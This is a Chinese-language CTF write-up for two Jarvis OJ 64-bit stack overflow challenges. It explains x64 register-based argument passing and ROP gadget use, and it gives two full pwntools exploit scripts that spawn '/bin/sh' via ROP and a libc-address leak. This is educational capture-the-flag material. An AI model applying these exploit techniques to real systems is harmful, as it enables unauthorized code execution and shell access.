Jarvis OJ- [XMAN]level2/3_x64-Writeup——64位簡單棧溢位
阿新 • • 發佈:2018-12-31
兩道64位棧溢位,思路和之前的32位溢位基本一致,所以放在一起
在這兩道中體現的32位和64位的主要區別在於函式引數傳遞的方式
在32位程式執行中,函式引數直接壓入棧中
呼叫函式時棧的結構為:呼叫函式地址->函式的返回地址->引數n->引數n-1->···->引數1
在64位程式執行中,引數傳遞需要暫存器
64位引數傳遞約定:前六個引數按順序儲存在暫存器rdi, rsi, rdx, rcx, r8, r9中
引數超過六個時,從第七個開始壓入棧中
Level2_x64
只要在呼叫system函式傳遞引數“/bin/sh”時,將其傳入暫存器即可。
Something new
可以使用ROPgadget搜尋我們需要的rop鏈
ROPgadget可以在程式的彙編程式碼中尋找字串或命令
箭頭所指pop rdi ; ret 即為將棧頂元素彈出並存入暫存器rdi,ret返回棧。
可以利用此類語句將函式引數傳入暫存器。
exp:
#!usr/bin/env python # -*- coding: utf-8 -*- from pwn import * io = remote("pwn2.jarvisoj.com",9882) elf = ELF("./level2_x64") sys_addr= elf.symbols["system"] bin_addr = 0x600A90 #利用ROPgadget獲得 rdi_ret = 0x4006B3 payload = '' payload += 'a' * 0x88 payload += p64(rdi_ret) payload += p64(bin_addr) payload += p64(sys_addr) io.recvline() io.sendline(payload) io.interactive() io.close()
結果如下
Level3_x64
和上一個相同,差別只在呼叫函式時引數的傳遞
按照引數傳遞約定,write函式需要三個引數,需要rdi,rsi,rdx三個暫存器,但是沒有發現所需要的第三個暫存器rdx
所以可以先跳過第三個引數(讀入長度)
寫好exp之後可以除錯下,檢視在呼叫函式之前,rdx的值,如果rdx值>=8,那麼就不需要處理,
exp
#!usr/bin/env python # -*- coding: utf-8 -*- from pwn import * context.log_level = 'debug' io = remote("pwn2.jarvisoj.com",9883) elf = ELF("./level3_x64") write_plt = elf.plt["write"] write_got = elf.got["write"] func = elf.symbols["vulnerable_function"] libc = ELF("./libc-2.19.so") write_libc = libc.symbols["write"] sys_libc = libc.symbols["system"] bin_libc = libc.search("/bin/sh").next() rdi_ret = 0x4006B3 rsi_ret = 0x4006B1 payload1 = 'a' * 0x88 payload1 += p64(rdi_ret) + p64(1) # rdi payload1 += p64(rsi_ret) + p64(write_got) + p64(0xdeadbeef) #rsi 和 r15 payload1 += p64(write_plt) + p64(func) io.recvline() io.sendline(payload1) write_addr = u64(io.recv(8)) sys_addr = write_addr - write_libc + sys_libc bin_addr = write_addr - write_libc + bin_libc payload2 = 'a' * 0x88 payload2 += p64(rdi_ret) + p64(bin_addr) payload2 += p64(sys_addr) + p64(0xdeadbeef) io.recvline() io.sendline(payload2) io.interactive() io.close()
結果:
關於程式中暫存器不夠的問題,留一個連結http://m.blog.csdn.net/zsj2102/article/details/78560300
講的還算清楚